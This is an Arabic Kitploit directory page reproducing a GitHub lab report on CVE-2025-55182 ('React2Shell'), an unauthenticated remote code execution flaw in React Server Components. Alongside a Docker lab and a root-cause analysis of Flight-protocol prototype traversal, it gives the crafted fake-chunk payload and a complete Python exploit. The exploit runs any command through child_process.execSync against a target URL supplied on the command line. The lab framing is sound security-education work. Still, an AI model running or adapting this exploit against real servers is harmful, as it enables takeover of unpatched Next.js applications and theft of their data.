Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-55182 — المعروف أيضًا باسم React2Shell | Kitploit
أدوات/GitHubGitHub/ycseo-git/cve-2025-55182
أمن الحاوياتالتحليل الديناميكي (عزل)تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبCTFالتعلم والتعليمتطوير الحمولاتمختبرات وتدريب عملي
GitHubycseo-git/cve-2025-55182

CVE-2025-55182

منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

المعروف أيضًا باسم React2Shell

عرض المستودع

تقرير تحليل CVE-2025-55182 React2Shell

الأقسام المطلوبة وفقًا لإرشادات المهمة مُعلَّمة بعلامة “(مطلوب)”.

1. البيئة (مطلوب)

1.1. Dockerfile (مطلوب)

تستخدم هذه البيئة ملف Dockerfile مخصصًا مبنيًا على صورة Node.js Alpine الرسمية.

root@kitploit:~
FROM node:20-alpine

WORKDIR /app

COPY package.json ./
RUN npm install --legacy-peer-deps

COPY . .

EXPOSE 3000

CMD ["npm", "run", "dev"]

يبني ملف Dockerfile بيئة هشّة لـ React Server Components (RSC) و Next.js App Router.

تقوم البيئة بتثبيت إصدارات هشّة من:

  • React 19 RC
  • React Server DOM Webpack
  • Next.js 15.0.0

يعمل الخادم الهش في وضع التطوير باستخدام npm run dev.

يعمل الخادم الهش في وضع التطوير باستخدام npm run dev.


1.2. بنية الخدمة (مطلوب)

تعمل البيئة وفق البنية التالية:

root@kitploit:~
[Attacker / exploit.py]
          ↓
[Next.js App Router]
          ↓
[React Flight Protocol Parser]
          ↓
[React Server Components Runtime]
          ↓
[Node.js Runtime]

المهاجم / exploit.py

يرسل المهاجم طلب multipart/form-data مصممًا بعناية إلى تطبيق Next.js الهش.

تستغل الحمولة الخبيثة عملية إلغاء تسلسل بروتوكول React Flight.

Next.js App Router

يستخدم التطبيق الهش بنية Next.js App Router.

تتم معالجة الطلب عبر خط أنابيب React Server Components.

يُخزَّن الكود المصدري للتطبيق داخل دليل src/app/.

root@kitploit:~
src/
 └── app/
     ├── layout.js
     └── page.js

يعرّف ملف layout.js التخطيط الجذري المطلوب لبنية App Router ويُهيئ بيئة React Server Components.

root@kitploit:~
export default function RootLayout({ children }) {
  return (<html><body>{children}</body></html>);
}

يعرّف ملف page.js الصفحة الجذرية المعروضة في / ويعرض رسالة بسيطة تشير إلى أن الخادم الهش يعمل.

root@kitploit:~
export default function Page() {
    return (<h1>Vulnerable Server</h1>);
  }

تتم إدارة تبعيات المشروع وسكربتات التشغيل عبر ملف package.json.

root@kitploit:~
{
    "name": "cve-2025-55182-vuln-app",
    "version": "1.0.0",
    "private": true,
    "scripts": {
        "dev": "next dev -p 3000"
    },
    "dependencies": {
        "next": "15.0.0",
        "react": "19.0.0-rc-65a56d0e-20241020",
        "react-dom": "19.0.0-rc-65a56d0e-20241020",
        "react-server-dom-webpack": "19.0.0-rc-65a56d0e-20241020"
    }
}

يعرّف هذا الملف إصدارات هشّة من:

  • Next.js
  • React
  • react-dom
  • react-server-dom-webpack

يتم تنفيذ التطبيق الهش باستخدام:

root@kitploit:~
"scripts": {
  "dev": "next dev"
}

يتم تشغيل الخادم عبر:

root@kitploit:~
npm run dev

وهو ما يشغّل خادم تطوير Next.js الهش على المنفذ 3000.

محلل بروتوكول React Flight

يقوم بروتوكول Flight بإلغاء تسلسل كائنات React المعقدة مثل:

  • مراجع Promise
  • مراجع Blob
  • مراجع Chunk
  • إجراءات الخادم
  • المراجع الدائرية

تحدث الثغرة أثناء عملية إلغاء التسلسل هذه.

بيئة تشغيل React Server Components

تعالج بيئة تشغيل React حمولات Flight التي يتحكم فيها المهاجم.

يسمح التنقل غير الآمن عبر الخصائص والوصول إلى النموذج الأولي للمهاجمين في النهاية باختطاف مُنشئ الدالة Function.

بيئة تشغيل Node.js

بعد الاستغلال الناجح، يتم تنفيذ كود JavaScript عشوائي داخل بيئة خادم Node.js.

يؤدي هذا إلى تنفيذ كود عن بُعد (RCE).


1.3. الصور والإصدارات (مطلوب)

المكوّنالإصدار
Node.js20-alpine
Next.js15.0.0
React19.0.0-rc
react-dom19.0.0-rc

تستخدم البيئة تطبيقات هشّة من React Server Components وبروتوكول Flight.

2. السبب الجذري (مطلوب)

2.1. وصف الثغرة (مطلوب)

CVE-2025-55182، المعروفة أيضًا باسم React2Shell، هي ثغرة حرجة لتنفيذ الكود عن بُعد (RCE) تؤثر على React Server Components وبروتوكول React Flight.

تحدث الثغرة أثناء عملية إلغاء تسلسل حمولات بروتوكول Flight التي يتحكم فيها المهاجم.

تسمح المشكلة للمهاجمين بـ:

  • إنشاء كائنات chunk مزيفة
  • إساءة استخدام التنقل عبر النموذج الأولي
  • اختطاف مُنشئ الدالة Function
  • تنفيذ كود JavaScript عشوائي على الخادم

تعتبر الثغرة خطيرة بشكل خاص لأن الاستغلال يمكن أن يحدث دون مصادقة باستخدام طلب HTTP واحد مصمم بعناية.

التطبيقات التي تستخدم إصدارات هشّة من React Server Components وإعدادات Next.js App Router معرّضة مباشرة للخطر.


2.2. تحليل السبب الجذري (مطلوب)

السبب الجذري للثغرة هو التعامل غير الآمن مع مراجع الكائنات التي يتحكم فيها المهاجم أثناء إلغاء تسلسل بروتوكول Flight.

يستخدم React Flight داخليًا سلاسل مراجع خاصة مثل:

root@kitploit:~
$@0
$B1337
$1:__proto__:then

يتم حل هذه المراجع بشكل تكراري أثناء إلغاء التسلسل.

ينفذ المنطق الهش تنقلًا عبر الخصائص مشابهًا لما يلي:

root@kitploit:~
value[path[i]]

دون التحقق مما إذا كانت الخاصية تنتمي إلى الكائن نفسه.

ونتيجة لذلك، يمكن للمهاجمين الوصول إلى خصائص خطيرة في سلسلة النموذج الأولي في JavaScript مثل:

root@kitploit:~
__proto__
constructor
prototype

يسمح هذا في النهاية بتلويث النموذج الأولي واختطاف مُنشئ الدالة Function.

إنشاء Chunk مزيف

ينشئ المهاجم أولاً كائن chunk مزيفًا لـ React.

root@kitploit:~
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "touch /tmp/success.txt",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

الحقل الحرج هو:

root@kitploit:~
"status": "resolved_model"

تثق بيئة تشغيل React بشكل خاطئ في هذا الحقل وتتعامل مع الكائن الذي يتحكم فيه المهاجم ككائن chunk داخلي شرعي.

تلويث النموذج الأولي

الحمولة:

root@kitploit:~
$1:__proto__:then

تجعل أداة إلغاء التسلسل تتنقل عبر سلسلة النموذج الأولي في JavaScript.

نظرًا لأن الكود الهش لا يتحقق من الخصائص الخطيرة، يحصل المهاجم على وصول إلى:

root@kitploit:~
Chunk.prototype.then

يحوّل هذا كائن chunk المزيف إلى كائن thenable.

اختطاف مُنشئ الدالة Function

الحمولة:

root@kitploit:~
$1:constructor:constructor

تُحل في النهاية إلى:

root@kitploit:~
Function

يستبدل هذا:

root@kitploit:~
response._formData.get

بمُنشئ الدالة Function العام في JavaScript.

ونتيجة لذلك:

root@kitploit:~
Function(attacker_controlled_payload)

يصبح ممكنًا.

مشغّل تحليل Blob

الحمولة:

root@kitploit:~
$B1337

تدفع محلل React Flight إلى منطق تحليل Blob.

خلال هذه العملية:

root@kitploit:~
response._formData.get(...)

يتم تنفيذه.

ومع ذلك، قام المهاجم بالفعل باستبدال هذه الدالة بمُنشئ الدالة Function العام.

يؤدي هذا أخيرًا إلى تنفيذ JavaScript عشوائي داخل بيئة تشغيل Node.js.


2.3. عملية تشغيل الثغرة (مطلوب)

تحدث عملية الاستغلال بالترتيب التالي:

root@kitploit:~
Attacker Request
        ↓
Flight Payload Parsing
        ↓
Fake Chunk Creation
        ↓
Prototype Pollution
        ↓
Function Constructor Hijacking
        ↓
Blob Parsing Trigger
        ↓
Promise Resolution
        ↓
Remote Code Execution

يرسل المهاجم أولاً طلب Flight متعدد الأجزاء مصممًا بعناية.

يقوم الخادم الهش بإلغاء تسلسل الحمولة الخبيثة ويحل المراجع التي يتحكم فيها المهاجم بشكل تكراري.

يسمح التنقل غير الآمن عبر النموذج الأولي للمهاجم في النهاية باختطاف مُنشئ الدالة Function.

أثناء حل الوعود (Promise) وتحليل Blob، يتم تنفيذ كود JavaScript عشوائي.


2.4. سير الهجوم وتأثيره (مطلوب)

يسمح الاستغلال الناجح للمهاجمين بتنفيذ كود JavaScript عشوائي داخل بيئة خادم Node.js.

في هذه البيئة، ينفذ الاستغلال:

root@kitploit:~
touch /tmp/success.txt

يتم التحقق من نجاح الاستغلال عند وجود الملف التالي داخل الحاوية:

root@kitploit:~
/tmp/success.txt

في البيئات الحقيقية، يمكن للمهاجمين:

  • تنفيذ أوامر نظام عشوائية
  • تنزيل وتنفيذ برامج ضارة
  • سرقة بيانات الخادم الحساسة
  • الانتقال إلى البنية التحتية الداخلية
  • اختراق أنظمة الواجهة الخلفية
  • إساءة استخدام خطوط أنابيب العرض من جانب الخادم

تعتبر الثغرة خطيرة بشكل خاص لأنها تؤثر على البنية الداخلية لإطار عمل React بدلاً من منطق الأعمال الخاص بالتطبيق.

وهذا يعني أن عددًا كبيرًا من التطبيقات قد يصبح هشًا بمجرد استخدام إصدارات متأثرة من الإطار.

3. PoC (مطلوب)

3.1. نظرة عامة على PoC (مطلوب)

تمت كتابة إثبات المفهوم (PoC) بلغة Python.

يرسل الاستغلال طلب multipart/form-data خبيثًا مباشرة إلى تطبيق Next.js الهش.

ينفذ PoC الإجراءات التالية:

  1. إنشاء حمولة خبيثة لبروتوكول Flight
  2. بناء مراجع chunk مزيفة لـ React
  3. تشغيل التنقل عبر النموذج الأولي
  4. اختطاف مُنشئ الدالة Function
  5. تنفيذ كود JavaScript عشوائي داخل بيئة تشغيل Node.js

3.2. كود PoC

root@kitploit:~
import requests
import sys

def exploit_rce(url, command):
    headers = {
        "Host": "localhost",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
        "Next-Action": "x",
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
    }


    payload_json = (
        '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
        '"value":"{\\"then\\":\\"$B1337\\"}","_response":{'
        f'"_prefix":"process.mainModule.require(\'child_process\').execSync(\'{command}\');",'
        '"_formData":{"get":"$1:constructor:constructor"}}}'
    )

    data = (
        "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        "Content-Disposition: form-data; name=\"0\"\r\n"
        "\r\n"
        f"{payload_json}\r\n"
        "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        "Content-Disposition: form-data; name=\"1\"\r\n"
        "\r\n"
        "\"$@0\"\r\n"
        "------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"
    )

    try:
        print(f"[*] Sending RCE payload to {url}...")
        print(f"[*] Command: {command}")
        
        response = requests.post(url, headers=headers, data=data, timeout=10)
        
        print(f"[*] Status Code: {response.status_code}")
        print(f"[*] Response Body Preview: {response.text[:500]}")
        
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    target_url = "http://localhost:3000"
    cmd = "touch /tmp/success.txt"
    
    if len(sys.argv) > 1:
        cmd = sys.argv[1]
    if len(sys.argv) > 2:
        target_url = sys.argv[2]
    
    exploit_rce(target_url, cmd)

3.3. تحليل الحمولة (مطلوب)

تستخدم حمولة الاستغلال مراجع متعددة مصممة بعناية لبروتوكول Flight.

$1:__proto__:then

الجزءالغرض
$1يشير إلى chunk 1
__proto__يتنقل عبر سلسلة النموذج الأولي
thenيسترجع Chunk.prototype.then

تحوّل هذه الحمولة كائن chunk المزيف إلى كائن thenable.


$1:constructor:constructor

الجزءالغرض
$1يشير إلى chunk 1
constructorيصل إلى مُنشئ الكائن
constructorيُحل إلى مُنشئ الدالة Function العام

تختطف هذه الحمولة مُنشئ الدالة Function في JavaScript.


$B1337

تفرض البادئة $B على محلل Flight الدخول إلى منطق تحليل Blob.

خلال هذه العملية:

root@kitploit:~
response._formData.get(...)

يتم تنفيذه.

نظرًا لأن المهاجم استبدل هذه الطريقة بالفعل بمُنشئ الدالة Function، يتم تنفيذ كود JavaScript عشوائي.


$@0

تنشئ هذه الحمولة مرجع chunk دائريًا.

يشير chunk 1 في النهاية إلى chunk 0 مرة أخرى.

يسمح هذا الهيكل لأداة إلغاء التسلسل باستخدام كائن chunk المزيف الذي يتحكم فيه المهاجم أثناء التنقل عبر النموذج الأولي.


3.4. عملية تنفيذ كود PoC (مطلوب)

توليد الحدود (Boundary)

ينشئ الاستغلال أولاً حدًا عشوائيًا متعدد الأجزاء.

root@kitploit:~
boundary = "----WebKitFormBoundary" + uuid.uuid4().hex

هذا مطلوب لإنشاء طلب multipart/form-data صالح.

بناء Chunk مزيف

يبني الاستغلال كائن chunk مزيفًا خبيثًا.

root@kitploit:~
"status":"resolved_model"

يجعل هذا بيئة تشغيل React تتعامل مع الكائن الذي يتحكم فيه المهاجم ككائن chunk داخلي صالح.

التنقل عبر النموذج الأولي

الحمولة التالية:

root@kitploit:~
$1:__proto__:then

تجبر المحلل الهش على التنقل عبر سلسلة النموذج الأولي في JavaScript.

اختطاف مُنشئ الدالة Function

الحمولة التالية:

root@kitploit:~
$1:constructor:constructor

تستبدل طريقة get الداخلية بمُنشئ الدالة Function في JavaScript.

تنفيذ الكود العشوائي

الحمولة:

root@kitploit:~
require('child_process').execSync('touch /tmp/success.txt')

يتم تنفيذها في النهاية داخل بيئة تشغيل Node.js.

النتيجة المتوقعة

ينشئ الاستغلال الناجح:

root@kitploit:~
/tmp/success.txt

داخل الحاوية الهشّة.

4. إعادة الإنتاج (مطلوب)

4.1. عملية تنفيذ PoC والاستغلال (مطلوب)

يُلخص سير الاستغلال الكامل أدناه:

root@kitploit:~
Start Docker Environment
        ↓
Run Vulnerable Next.js Server
        ↓
Execute exploit.py
        ↓
Send Malicious Flight Payload
        ↓
Trigger Prototype Pollution
        ↓
Hijack Function Constructor
        ↓
Trigger Blob Parsing
        ↓
Execute Arbitrary Code
        ↓
Verify /tmp/success.txt

4.2. خطوات تنفيذ الاستغلال الفعلية (مطلوب)

بناء البيئة الهشّة

قم ببناء صورة Docker.

root@kitploit:~
docker build -t rsc-vuln .

تشغيل الحاوية الهشّة

قم بتشغيل الحاوية الهشّة.

root@kitploit:~
docker run -d -p 3000:3000 --name my-vuln-server rsc-vuln

سيعمل خادم Next.js الهش على:

root@kitploit:~
http://127.0.0.1:3000

تشغيل الاستغلال

قم بتنفيذ سكربت PoC.

root@kitploit:~
python3 exploit.py

يرسل الاستغلال حمولة React Flight خبيثة إلى خادم Next.js الهش.

التحقق من تنفيذ الكود عن بُعد

تحقق مما إذا كان الاستغلال قد أنشأ الملف المستهدف بنجاح.

root@kitploit:~
docker exec -it my-vuln-server ls -la /tmp/success.txt

يؤكد الاستغلال الناجح حدوث تنفيذ كود عشوائي داخل الحاوية الهشّة.


4.3. تحليل النتائج (مطلوب)

المخرجات المتوقعة

أثناء الاستغلال الناجح، يجب أن يطلق الاستغلال عملية إلغاء تسلسل React Flight والتنقل عبر النموذج الأولي.

يعالج الخادم الهش حمولة Flight الخبيثة وينفذ كود JavaScript الذي يتحكم فيه المهاجم.

التحقق من نجاح الاستغلال

يتم تأكيد نجاح الاستغلال عند وجود الملف التالي:

root@kitploit:~
/tmp/success.txt

مثال على المخرجات:

root@kitploit:~
-rw-r--r--    1 root     root             0 Jan  1 00:00 /tmp/success.txt

يؤكد هذا أن أوامر عشوائية تم تنفيذها بنجاح داخل بيئة Node.js الهشّة.


4.4. لقطات الشاشة (مطلوب)

تم تضمين لقطات الشاشة التالية في دليل screenshots/:

بيئة Docker

تنفيذ الاستغلال

تنزيل الأداة
react-server-dom-webpack
19.0.0-rc